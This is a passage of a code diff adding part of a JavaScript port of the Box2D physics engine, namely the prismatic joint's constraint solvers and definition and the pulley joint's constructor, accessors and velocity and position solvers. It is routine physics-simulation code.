+ v2.x += this.m_invMassB * PX;
+ v2.y += this.m_invMassB * PY;
+ w2 += this.m_invIB * L2;
+ }
+ var Cdot1X = this.m_perp.x * (v2.x - v1.x) + this.m_perp.y * (v2.y - v1.y) + this.m_s2 * w2 - this.m_s1 * w1;
+ var Cdot1Y = w2 - w1;
+ if (this.m_enableLimit && this.m_limitState != Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit) {
+ var Cdot2 = this.m_axis.x * (v2.x - v1.x) + this.m_axis.y * (v2.y - v1.y) + this.m_a2 * w2 - this.m_a1 * w1;
+ var f1 = this.m_impulse.Copy();
+ var df = this.m_K.Solve33(new Box2D.Common.Math.b2Vec3(0, 0, 0), (-Cdot1X), (-Cdot1Y), (-Cdot2));
+ this.m_impulse.Add(df);
+ if (this.m_limitState == Box2D.Dynamics.Joints.b2Joint.e_atLowerLimit) {
+ this.m_impulse.z = Math.max(this.m_impulse.z, 0.0);
+ } else if (this.m_limitState == Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ this.m_impulse.z = Math.min(this.m_impulse.z, 0.0);
+ }
+ var bX = (-Cdot1X) - (this.m_impulse.z - f1.z) * this.m_K.col3.x;
+ var bY = (-Cdot1Y) - (this.m_impulse.z - f1.z) * this.m_K.col3.y;
+ var f2r = this.m_K.Solve22(Box2D.Common.Math.b2Vec2.Get(0, 0), bX, bY);
+ f2r.x += f1.x;
+ f2r.y += f1.y;
+ this.m_impulse.x = f2r.x;
+ this.m_impulse.y = f2r.y;
+ df.x = this.m_impulse.x - f1.x;
+ df.y = this.m_impulse.y - f1.y;
+ df.z = this.m_impulse.z - f1.z;
+ PX = df.x * this.m_perp.x + df.z * this.m_axis.x;
+ PY = df.x * this.m_perp.y + df.z * this.m_axis.y;
+ L1 = df.x * this.m_s1 + df.y + df.z * this.m_a1;
+ L2 = df.x * this.m_s2 + df.y + df.z * this.m_a2;
+ v1.x -= this.m_invMassA * PX;
+ v1.y -= this.m_invMassA * PY;
+ w1 -= this.m_invIA * L1;
+ v2.x += this.m_invMassB * PX;
+ v2.y += this.m_invMassB * PY;
+ w2 += this.m_invIB * L2;
+ } else {
+ var df2 = this.m_K.Solve22(Box2D.Common.Math.b2Vec2.Get(0, 0), (-Cdot1X), (-Cdot1Y));
+ this.m_impulse.x += df2.x;
+ this.m_impulse.y += df2.y;
+ PX = df2.x * this.m_perp.x;
+ PY = df2.x * this.m_perp.y;
+ L1 = df2.x * this.m_s1 + df2.y;
+ L2 = df2.x * this.m_s2 + df2.y;
+ v1.x -= this.m_invMassA * PX;
+ v1.y -= this.m_invMassA * PY;
+ w1 -= this.m_invIA * L1;
+ v2.x += this.m_invMassB * PX;
+ v2.y += this.m_invMassB * PY;
+ w2 += this.m_invIB * L2;
+ }
+ bA.m_linearVelocity.SetV(v1);
+ bA.m_angularVelocity = w1;
+ bB.m_linearVelocity.SetV(v2);
+ bB.m_angularVelocity = w2;
+};
+Box2D.Dynamics.Joints.b2PrismaticJoint.prototype.SolvePositionConstraints = function(baumgarte) {
+ if (baumgarte === undefined) baumgarte = 0;
+ var limitC = 0;
+ var oldLimitImpulse = 0;
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var c1 = bA.m_sweep.c;
+ var a1 = bA.m_sweep.a;
+ var c2 = bB.m_sweep.c;
+ var a2 = bB.m_sweep.a;
+ var tMat;
+ var tX = 0;
+ var m1 = 0;
+ var m2 = 0;
+ var i1 = 0;
+ var i2 = 0;
+ var linearError = 0.0;
+ var angularError = 0.0;
+ var active = false;
+ var C2 = 0.0;
+ var R1 = Box2D.Common.Math.b2Mat22.FromAngle(a1);
+ var R2 = Box2D.Common.Math.b2Mat22.FromAngle(a2);
+ tMat = R1;
+ var r1X = this.m_localAnchor1.x - this.m_localCenterA.x;
+ var r1Y = this.m_localAnchor1.y - this.m_localCenterA.y;
+ tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = R2;
+ var r2X = this.m_localAnchor2.x - this.m_localCenterB.x;
+ var r2Y = this.m_localAnchor2.y - this.m_localCenterB.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ var dX = c2.x + r2X - c1.x - r1X;
+ var dY = c2.y + r2Y - c1.y - r1Y;
+ if (this.m_enableLimit) {
+ this.m_axis = Box2D.Common.Math.b2Math.MulMV(R1, this.m_localXAxis1);
+ this.m_a1 = (dX + r1X) * this.m_axis.y - (dY + r1Y) * this.m_axis.x;
+ this.m_a2 = r2X * this.m_axis.y - r2Y * this.m_axis.x;
+ var translation = this.m_axis.x * dX + this.m_axis.y * dY;
+ if (Math.abs(this.m_upperTranslation - this.m_lowerTranslation) < 2.0 * Box2D.Common.b2Settings.b2_linearSlop) {
+ C2 = Box2D.Common.Math.b2Math.Clamp(translation, (-Box2D.Common.b2Settings.b2_maxLinearCorrection), Box2D.Common.b2Settings.b2_maxLinearCorrection);
+ linearError = Math.abs(translation);
+ active = true;
+ } else if (translation <= this.m_lowerTranslation) {
+ C2 = Box2D.Common.Math.b2Math.Clamp(translation - this.m_lowerTranslation + Box2D.Common.b2Settings.b2_linearSlop, (-Box2D.Common.b2Settings.b2_maxLinearCorrection), 0.0);
+ linearError = this.m_lowerTranslation - translation;
+ active = true;
+ } else if (translation >= this.m_upperTranslation) {
+ C2 = Box2D.Common.Math.b2Math.Clamp(translation - this.m_upperTranslation + Box2D.Common.b2Settings.b2_linearSlop, 0.0, Box2D.Common.b2Settings.b2_maxLinearCorrection);
+ linearError = translation - this.m_upperTranslation;
+ active = true;
+ }
+ }
+ this.m_perp = Box2D.Common.Math.b2Math.MulMV(R1, this.m_localYAxis1);
+ this.m_s1 = (dX + r1X) * this.m_perp.y - (dY + r1Y) * this.m_perp.x;
+ this.m_s2 = r2X * this.m_perp.y - r2Y * this.m_perp.x;
+ var impulse = new Box2D.Common.Math.b2Vec3(0, 0, 0);
+ var C1X = this.m_perp.x * dX + this.m_perp.y * dY;
+ var C1Y = a2 - a1 - this.m_refAngle;
+ linearError = Math.max(linearError, Math.abs(C1X));
+ angularError = Math.abs(C1Y);
+ if (active) {
+ m1 = this.m_invMassA;
+ m2 = this.m_invMassB;
+ i1 = this.m_invIA;
+ i2 = this.m_invIB;
+ this.m_K.col1.x = m1 + m2 + i1 * this.m_s1 * this.m_s1 + i2 * this.m_s2 * this.m_s2;
+ this.m_K.col1.y = i1 * this.m_s1 + i2 * this.m_s2;
+ this.m_K.col1.z = i1 * this.m_s1 * this.m_a1 + i2 * this.m_s2 * this.m_a2;
+ this.m_K.col2.x = this.m_K.col1.y;
+ this.m_K.col2.y = i1 + i2;
+ this.m_K.col2.z = i1 * this.m_a1 + i2 * this.m_a2;
+ this.m_K.col3.x = this.m_K.col1.z;
+ this.m_K.col3.y = this.m_K.col2.z;
+ this.m_K.col3.z = m1 + m2 + i1 * this.m_a1 * this.m_a1 + i2 * this.m_a2 * this.m_a2;
+ this.m_K.Solve33(impulse, (-C1X), (-C1Y), (-C2));
+ } else {
+ m1 = this.m_invMassA;
+ m2 = this.m_invMassB;
+ i1 = this.m_invIA;
+ i2 = this.m_invIB;
+ var k11 = m1 + m2 + i1 * this.m_s1 * this.m_s1 + i2 * this.m_s2 * this.m_s2;
+ var k12 = i1 * this.m_s1 + i2 * this.m_s2;
+ var k22 = i1 + i2;
+ this.m_K.col1.Set(k11, k12, 0.0);
+ this.m_K.col2.Set(k12, k22, 0.0);
+ var impulse1 = this.m_K.Solve22(Box2D.Common.Math.b2Vec2.Get(0, 0), (-C1X), (-C1Y));
+ impulse.x = impulse1.x;
+ impulse.y = impulse1.y;
+ impulse.z = 0.0;
+ }
+ var PX = impulse.x * this.m_perp.x + impulse.z * this.m_axis.x;
+ var PY = impulse.x * this.m_perp.y + impulse.z * this.m_axis.y;
+ var L1 = impulse.x * this.m_s1 + impulse.y + impulse.z * this.m_a1;
+ var L2 = impulse.x * this.m_s2 + impulse.y + impulse.z * this.m_a2;
+ c1.x -= this.m_invMassA * PX;
+ c1.y -= this.m_invMassA * PY;
+ a1 -= this.m_invIA * L1;
+ c2.x += this.m_invMassB * PX;
+ c2.y += this.m_invMassB * PY;
+ a2 += this.m_invIB * L2;
+ bA.m_sweep.a = a1;
+ bB.m_sweep.a = a2;
+ bA.SynchronizeTransform();
+ bB.SynchronizeTransform();
+ return linearError <= Box2D.Common.b2Settings.b2_linearSlop && angularError <= Box2D.Common.b2Settings.b2_angularSlop;
+};
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2JointDef}
+ */
+Box2D.Dynamics.Joints.b2PrismaticJointDef = function() {
+ Box2D.Dynamics.Joints.b2JointDef.call(this);
+ this.localAnchorA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.localAnchorB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.localAxisA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.type = Box2D.Dynamics.Joints.b2Joint.e_prismaticJoint;
+ this.localAxisA.Set(1.0, 0.0);
+ this.referenceAngle = 0.0;
+ this.enableLimit = false;
+ this.lowerTranslation = 0.0;
+ this.upperTranslation = 0.0;
+ this.enableMotor = false;
+ this.maxMotorForce = 0.0;
+ this.motorSpeed = 0.0;
+};
+c2inherit(Box2D.Dynamics.Joints.b2PrismaticJointDef, Box2D.Dynamics.Joints.b2JointDef);
+Box2D.Dynamics.Joints.b2PrismaticJointDef.prototype.Initialize = function(bA, bB, anchor, axis) {
+ this.bodyA = bA;
+ this.bodyB = bB;
+ this.localAnchorA = this.bodyA.GetLocalPoint(anchor);
+ this.localAnchorB = this.bodyB.GetLocalPoint(anchor);
+ this.localAxisA = this.bodyA.GetLocalVector(axis);
+ this.referenceAngle = this.bodyB.GetAngle() - this.bodyA.GetAngle();
+};
+Box2D.Dynamics.Joints.b2PrismaticJointDef.prototype.Create = function() {
+ return new Box2D.Dynamics.Joints.b2PrismaticJoint(this);
+};
+/**
+ * @param {!Box2D.Dynamics.Joints.b2PulleyJointDef} def
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2Joint}
+ */
+Box2D.Dynamics.Joints.b2PulleyJoint = function(def) {
+ Box2D.Dynamics.Joints.b2Joint.call(this, def);
+ this.m_groundAnchor1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_groundAnchor2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchor1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchor2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_u1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_u2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_ground = this.m_bodyA.m_world.m_groundBody;
+ this.m_groundAnchor1.x = def.groundAnchorA.x - this.m_ground.m_xf.position.x;
+ this.m_groundAnchor1.y = def.groundAnchorA.y - this.m_ground.m_xf.position.y;
+ this.m_groundAnchor2.x = def.groundAnchorB.x - this.m_ground.m_xf.position.x;
+ this.m_groundAnchor2.y = def.groundAnchorB.y - this.m_ground.m_xf.position.y;
+ this.m_localAnchor1.SetV(def.localAnchorA);
+ this.m_localAnchor2.SetV(def.localAnchorB);
+ this.m_ratio = def.ratio;
+ this.m_constant = def.lengthA + this.m_ratio * def.lengthB;
+ this.m_maxLength1 = Math.min(def.maxLengthA, this.m_constant - this.m_ratio * Box2D.Dynamics.Joints.b2PulleyJoint.b2_minPulleyLength);
+ this.m_maxLength2 = Math.min(def.maxLengthB, (this.m_constant - Box2D.Dynamics.Joints.b2PulleyJoint.b2_minPulleyLength) / this.m_ratio);
+ this.m_impulse = 0.0;
+ this.m_limitImpulse1 = 0.0;
+ this.m_limitImpulse2 = 0.0;
+};
+c2inherit(Box2D.Dynamics.Joints.b2PulleyJoint, Box2D.Dynamics.Joints.b2Joint);
+Box2D.Dynamics.Joints.b2PulleyJoint.prototype.GetAnchorA = function() {
+ return this.m_bodyA.GetWorldPoint(this.m_localAnchor1);
+};
+Box2D.Dynamics.Joints.b2PulleyJoint.prototype.GetAnchorB = function() {
+ return this.m_bodyB.GetWorldPoint(this.m_localAnchor2);
+};
+Box2D.Dynamics.Joints.b2PulleyJoint.prototype.GetReactionForce = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return Box2D.Common.Math.b2Vec2.Get(inv_dt * this.m_impulse * this.m_u2.x, inv_dt * this.m_impulse * this.m_u2.y);
+};
+Box2D.Dynamics.Joints.b2PulleyJoint.prototype.GetReactionTorque = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return 0.0;
+};
+Box2D.Dynamics.Joints.b2PulleyJoint.prototype.GetGroundAnchorA = function() {
+ var a = this.m_ground.m_xf.position.Copy();
+ a.Add(this.m_groundAnchor1);
+ return a;
+};
+Box2D.Dynamics.Joints.b2PulleyJoint.prototype.GetGroundAnchorB = function() {
+ var a = this.m_ground.m_xf.position.Copy();
+ a.Add(this.m_groundAnchor2);
+ return a;
+};
+Box2D.Dynamics.Joints.b2PulleyJoint.prototype.GetLength1 = function() {
+ var p = this.m_bodyA.GetWorldPoint(this.m_localAnchor1);
+ var sX = this.m_ground.m_xf.position.x + this.m_groundAnchor1.x;
+ var sY = this.m_ground.m_xf.position.y + this.m_groundAnchor1.y;
+ var dX = p.x - sX;
+ var dY = p.y - sY;
+ return Math.sqrt(dX * dX + dY * dY);
+};
+Box2D.Dynamics.Joints.b2PulleyJoint.prototype.GetLength2 = function() {
+ var p = this.m_bodyB.GetWorldPoint(this.m_localAnchor2);
+ var sX = this.m_ground.m_xf.position.x + this.m_groundAnchor2.x;
+ var sY = this.m_ground.m_xf.position.y + this.m_groundAnchor2.y;
+ var dX = p.x - sX;
+ var dY = p.y - sY;
+ return Math.sqrt(dX * dX + dY * dY);
+};
+Box2D.Dynamics.Joints.b2PulleyJoint.prototype.GetRatio = function() {
+ return this.m_ratio;
+};
+Box2D.Dynamics.Joints.b2PulleyJoint.prototype.InitVelocityConstraints = function(step) {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var tMat;
+ tMat = bA.m_xf.R;
+ var r1X = this.m_localAnchor1.x - bA.m_sweep.localCenter.x;
+ var r1Y = this.m_localAnchor1.y - bA.m_sweep.localCenter.y;
+ var tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = bB.m_xf.R;
+ var r2X = this.m_localAnchor2.x - bB.m_sweep.localCenter.x;
+ var r2Y = this.m_localAnchor2.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ var p1X = bA.m_sweep.c.x + r1X;
+ var p1Y = bA.m_sweep.c.y + r1Y;
+ var p2X = bB.m_sweep.c.x + r2X;
+ var p2Y = bB.m_sweep.c.y + r2Y;
+ var s1X = this.m_ground.m_xf.position.x + this.m_groundAnchor1.x;
+ var s1Y = this.m_ground.m_xf.position.y + this.m_groundAnchor1.y;
+ var s2X = this.m_ground.m_xf.position.x + this.m_groundAnchor2.x;
+ var s2Y = this.m_ground.m_xf.position.y + this.m_groundAnchor2.y;
+ this.m_u1.Set(p1X - s1X, p1Y - s1Y);
+ this.m_u2.Set(p2X - s2X, p2Y - s2Y);
+ var length1 = this.m_u1.Length();
+ var length2 = this.m_u2.Length();
+ if (length1 > Box2D.Common.b2Settings.b2_linearSlop) {
+ this.m_u1.Multiply(1.0 / length1);
+ } else {
+ this.m_u1.SetZero();
+ }
+ if (length2 > Box2D.Common.b2Settings.b2_linearSlop) {
+ this.m_u2.Multiply(1.0 / length2);
+ } else {
+ this.m_u2.SetZero();
+ }
+ var C = this.m_constant - length1 - this.m_ratio * length2;
+ if (C > 0.0) {
+ this.m_state = Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit;
+ this.m_impulse = 0.0;
+ } else {
+ this.m_state = Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit;
+ }
+ if (length1 < this.m_maxLength1) {
+ this.m_limitState1 = Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit;
+ this.m_limitImpulse1 = 0.0;
+ } else {
+ this.m_limitState1 = Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit;
+ }
+ if (length2 < this.m_maxLength2) {
+ this.m_limitState2 = Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit;
+ this.m_limitImpulse2 = 0.0;
+ } else {
+ this.m_limitState2 = Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit;
+ }
+ var cr1u1 = r1X * this.m_u1.y - r1Y * this.m_u1.x;
+ var cr2u2 = r2X * this.m_u2.y - r2Y * this.m_u2.x;
+ this.m_limitMass1 = bA.m_invMass + bA.m_invI * cr1u1 * cr1u1;
+ this.m_limitMass2 = bB.m_invMass + bB.m_invI * cr2u2 * cr2u2;
+ this.m_pulleyMass = this.m_limitMass1 + this.m_ratio * this.m_ratio * this.m_limitMass2;
+ this.m_limitMass1 = 1.0 / this.m_limitMass1;
+ this.m_limitMass2 = 1.0 / this.m_limitMass2;
+ this.m_pulleyMass = 1.0 / this.m_pulleyMass;
+ if (step.warmStarting) {
+ this.m_impulse *= step.dtRatio;
+ this.m_limitImpulse1 *= step.dtRatio;
+ this.m_limitImpulse2 *= step.dtRatio;
+ var P1X = ((-this.m_impulse) - this.m_limitImpulse1) * this.m_u1.x;
+ var P1Y = ((-this.m_impulse) - this.m_limitImpulse1) * this.m_u1.y;
+ var P2X = ((-this.m_ratio * this.m_impulse) - this.m_limitImpulse2) * this.m_u2.x;
+ var P2Y = ((-this.m_ratio * this.m_impulse) - this.m_limitImpulse2) * this.m_u2.y;
+ bA.m_linearVelocity.x += bA.m_invMass * P1X;
+ bA.m_linearVelocity.y += bA.m_invMass * P1Y;
+ bA.m_angularVelocity += bA.m_invI * (r1X * P1Y - r1Y * P1X);
+ bB.m_linearVelocity.x += bB.m_invMass * P2X;
+ bB.m_linearVelocity.y += bB.m_invMass * P2Y;
+ bB.m_angularVelocity += bB.m_invI * (r2X * P2Y - r2Y * P2X);
+ } else {
+ this.m_impulse = 0.0;
+ this.m_limitImpulse1 = 0.0;
+ this.m_limitImpulse2 = 0.0;
+ }
+};
+Box2D.Dynamics.Joints.b2PulleyJoint.prototype.SolveVelocityConstraints = function(step) {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var tMat;
+ tMat = bA.m_xf.R;
+ var r1X = this.m_localAnchor1.x - bA.m_sweep.localCenter.x;
+ var r1Y = this.m_localAnchor1.y - bA.m_sweep.localCenter.y;
+ var tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = bB.m_xf.R;
+ var r2X = this.m_localAnchor2.x - bB.m_sweep.localCenter.x;
+ var r2Y = this.m_localAnchor2.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ var v1X = 0;
+ var v1Y = 0;
+ var v2X = 0;
+ var v2Y = 0;
+ var P1X = 0;
+ var P1Y = 0;
+ var P2X = 0;
+ var P2Y = 0;
+ var Cdot = 0;
+ var impulse = 0;
+ var oldImpulse = 0;
+ if (this.m_state == Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ v1X = bA.m_linearVelocity.x + ((-bA.m_angularVelocity * r1Y));
+ v1Y = bA.m_linearVelocity.y + (bA.m_angularVelocity * r1X);
+ v2X = bB.m_linearVelocity.x + ((-bB.m_angularVelocity * r2Y));
+ v2Y = bB.m_linearVelocity.y + (bB.m_angularVelocity * r2X);
+ Cdot = (-(this.m_u1.x * v1X + this.m_u1.y * v1Y)) - this.m_ratio * (this.m_u2.x * v2X + this.m_u2.y * v2Y);
+ impulse = this.m_pulleyMass * ((-Cdot));
+ oldImpulse = this.m_impulse;
+ this.m_impulse = Math.max(0.0, this.m_impulse + impulse);
+ impulse = this.m_impulse - oldImpulse;
+ P1X = (-impulse * this.m_u1.x);
+ P1Y = (-impulse * this.m_u1.y);
+ P2X = (-this.m_ratio * impulse * this.m_u2.x);
+ P2Y = (-this.m_ratio * impulse * this.m_u2.y);
+ bA.m_linearVelocity.x += bA.m_invMass * P1X;
+ bA.m_linearVelocity.y += bA.m_invMass * P1Y;
+ bA.m_angularVelocity += bA.m_invI * (r1X * P1Y - r1Y * P1X);
+ bB.m_linearVelocity.x += bB.m_invMass * P2X;
+ bB.m_linearVelocity.y += bB.m_invMass * P2Y;
+ bB.m_angularVelocity += bB.m_invI * (r2X * P2Y - r2Y * P2X);
+ }
+ if (this.m_limitState1 == Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ v1X = bA.m_linearVelocity.x + ((-bA.m_angularVelocity * r1Y));
+ v1Y = bA.m_linearVelocity.y + (bA.m_angularVelocity * r1X);
+ Cdot = (-(this.m_u1.x * v1X + this.m_u1.y * v1Y));
+ impulse = (-this.m_limitMass1 * Cdot);
+ oldImpulse = this.m_limitImpulse1;
+ this.m_limitImpulse1 = Math.max(0.0, this.m_limitImpulse1 + impulse);
+ impulse = this.m_limitImpulse1 - oldImpulse;
+ P1X = (-impulse * this.m_u1.x);
+ P1Y = (-impulse * this.m_u1.y);
+ bA.m_linearVelocity.x += bA.m_invMass * P1X;
+ bA.m_linearVelocity.y += bA.m_invMass * P1Y;
+ bA.m_angularVelocity += bA.m_invI * (r1X * P1Y - r1Y * P1X);
+ }
+ if (this.m_limitState2 == Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ v2X = bB.m_linearVelocity.x + ((-bB.m_angularVelocity * r2Y));
+ v2Y = bB.m_linearVelocity.y + (bB.m_angularVelocity * r2X);
+ Cdot = (-(this.m_u2.x * v2X + this.m_u2.y * v2Y));
+ impulse = (-this.m_limitMass2 * Cdot);
+ oldImpulse = this.m_limitImpulse2;
+ this.m_limitImpulse2 = Math.max(0.0, this.m_limitImpulse2 + impulse);
+ impulse = this.m_limitImpulse2 - oldImpulse;
+ P2X = (-impulse * this.m_u2.x);
+ P2Y = (-impulse * this.m_u2.y);
+ bB.m_linearVelocity.x += bB.m_invMass * P2X;
+ bB.m_linearVelocity.y += bB.m_invMass * P2Y;
+ bB.m_angularVelocity += bB.m_invI * (r2X * P2Y - r2Y * P2X);
+ }
+};
+Box2D.Dynamics.Joints.b2PulleyJoint.prototype.SolvePositionConstraints = function(baumgarte) {
+ if (baumgarte === undefined) baumgarte = 0;
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var tMat;
+ var s1X = this.m_ground.m_xf.position.x + this.m_groundAnchor1.x;
+ var s1Y = this.m_ground.m_xf.position.y + this.m_groundAnchor1.y;
+ var s2X = this.m_ground.m_xf.position.x + this.m_groundAnchor2.x;
+ var s2Y = this.m_ground.m_xf.position.y + this.m_groundAnchor2.y;
+ var r1X = 0;
+ var r1Y = 0;
+ var r2X = 0;
+ var r2Y = 0;
+ var p1X = 0;
+ var p1Y = 0;
+ var p2X = 0;
+ var p2Y = 0;
+ var length1 = 0;
+ var length2 = 0;
+ var C = 0;
+ var impulse = 0;
+ var oldImpulse = 0;
+ var oldLimitPositionImpulse = 0;
+ var tX = 0;
+ var linearError = 0.0;
+ if (this.m_state == Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ tMat = bA.m_xf.R;
+ r1X = this.m_localAnchor1.x - bA.m_sweep.localCenter.x;
+ r1Y = this.m_localAnchor1.y - bA.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = bB.m_xf.R;
+ r2X = this.m_localAnchor2.x - bB.m_sweep.localCenter.x;
+ r2Y = this.m_localAnchor2.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ p1X = bA.m_sweep.c.x + r1X;
+ p1Y = bA.m_sweep.c.y + r1Y;
+ p2X = bB.m_sweep.c.x + r2X;
+ p2Y = bB.m_sweep.c.y + r2Y;
+ this.m_u1.Set(p1X - s1X, p1Y - s1Y);
+ this.m_u2.Set(p2X - s2X, p2Y - s2Y);
+ length1 = this.m_u1.Length();
+ length2 = this.m_u2.Length();
+ if (length1 > Box2D.Common.b2Settings.b2_linearSlop) {
+ this.m_u1.Multiply(1.0 / length1);
+ } else {
+ this.m_u1.SetZero();
+ }
+ if (length2 > Box2D.Common.b2Settings.b2_linearSlop) {
+ this.m_u2.Multiply(1.0 / length2);
+ } else {
+ this.m_u2.SetZero();
+ }
+ C = this.m_constant - length1 - this.m_ratio * length2;
+ linearError = Math.max(linearError, (-C));
+ C = Box2D.Common.Math.b2Math.Clamp(C + Box2D.Common.b2Settings.b2_linearSlop, (-Box2D.Common.b2Settings.b2_maxLinearCorrection), 0.0);
+ impulse = (-this.m_pulleyMass * C);
+ p1X = (-impulse * this.m_u1.x);
+ p1Y = (-impulse * this.m_u1.y);
+ p2X = (-this.m_ratio * impulse * this.m_u2.x);
+ p2Y = (-this.m_ratio * impulse * this.m_u2.y);
+ bA.m_sweep.c.x += bA.m_invMass * p1X;
+ bA.m_sweep.c.y += bA.m_invMass * p1Y;
+ bA.m_sweep.a += bA.m_invI * (r1X * p1Y - r1Y * p1X);
+ bB.m_sweep.c.x += bB.m_invMass * p2X;
+ bB.m_sweep.c.y += bB.m_invMass * p2Y;
+ bB.m_sweep.a += bB.m_invI * (r2X * p2Y - r2Y * p2X);
+ bA.SynchronizeTransform();
+ bB.SynchronizeTransform();
+ }
+ if (this.m_limitState1 == Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ tMat = bA.m_xf.R;
+ r1X = this.m_localAnchor1.x - bA.m_sweep.localCenter.x;
+ r1Y = this.m_localAnchor1.y - bA.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ p1X = bA.m_sweep.c.x + r1X;
+ p1Y = bA.m_sweep.c.y + r1Y;
+ this.m_u1.Set(p1X - s1X, p1Y - s1Y);
+ length1 = this.m_u1.Length();
+ if (length1 > Box2D.Common.b2Settings.b2_linearSlop) {
+ this.m_u1.x *= 1.0 / length1;
+ this.m_u1.y *= 1.0 / length1;
+ } else {
+ this.m_u1.SetZero();
+ }
+ C = this.m_maxLength1 - length1;
+ linearError = Math.max(linearError, (-C));
+ C = Box2D.Common.Math.b2Math.Clamp(C + Box2D.Common.b2Settings.b2_linearSlop, (-Box2D.Common.b2Settings.b2_maxLinearCorrection), 0.0);
+ impulse = (-this.m_limitMass1 * C);
+ p1X = (-impulse * this.m_u1.x);
+ p1Y = (-impulse * this.m_u1.y);
+ bA.m_sweep.c.x += bA.m_invMass * p1X;
+ bA.m_sweep.c.y += bA.m_invMass * p1Y;
+ bA.m_sweep.a += bA.m_invI * (r1X * p1Y - r1Y * p1X);
+ bA.SynchronizeTransform();
+ }
+ if (this.m_limitState2 == Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit) {
+ tMat = bB.m_xf.R;
+ r2X = this.m_localAnchor2.x - bB.m_sweep.localCenter.x;
+ r2Y = this.m_localAnchor2.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ p2X = bB.m_sweep.c.x + r2X;
+ p2Y = bB.m_sweep.c.y + r2Y;
+ this.m_u2.Set(p2X - s2X, p2Y - s2Y);
+ length2 = this.m_u2.Length();
+ if (length2 > Box2D.Common.b2Settings.b2_linearSlop) {
+ this.m_u2.x *= 1.0 / length2;
+ this.m_u2.y *= 1.0 / length2;
+ }
+ else {
+ this.m_u2.SetZero();
+ }
+ C = this.m_maxLength2 - length2;
+ linearError = Math.max(linearError, (-C));
+ C = Box2D.Common.Math.b2Math.Clamp(C + Box2D.Common.b2Settings.b2_linearSlop, (-Box2D.Common.b2Settings.b2_maxLinearCorrection), 0.0);
+ impulse = (-this.m_limitMass2 * C);
+ p2X = (-impulse * this.m_u2.x);
+ p2Y = (-impulse * this.m_u2.y);
+ bB.m_sweep.c.x += bB.m_invMass * p2X;
+ bB.m_sweep.c.y += bB.m_invMass * p2Y;
+ bB.m_sweep.a += bB.m_invI * (r2X * p2Y - r2Y * p2X);
+ bB.SynchronizeTransform();
+ }
+ return linearError < Box2D.Common.b2Settings.b2_linearSlop;
+};
+Box2D.Dynamics.Joints.b2PulleyJoint.b2_minPulleyLength = 1.0;
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2JointDef}
+ */
+Box2D.Dynamics.Joints.b2PulleyJointDef = function() {
+ Box2D.Dynamics.Joints.b2JointDef.call(this);
+ this.groundAnchorA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.groundAnchorB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.localAnchorA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.localAnchorB = Box2D.Common.Math.b2Vec2.Get(0, 0);
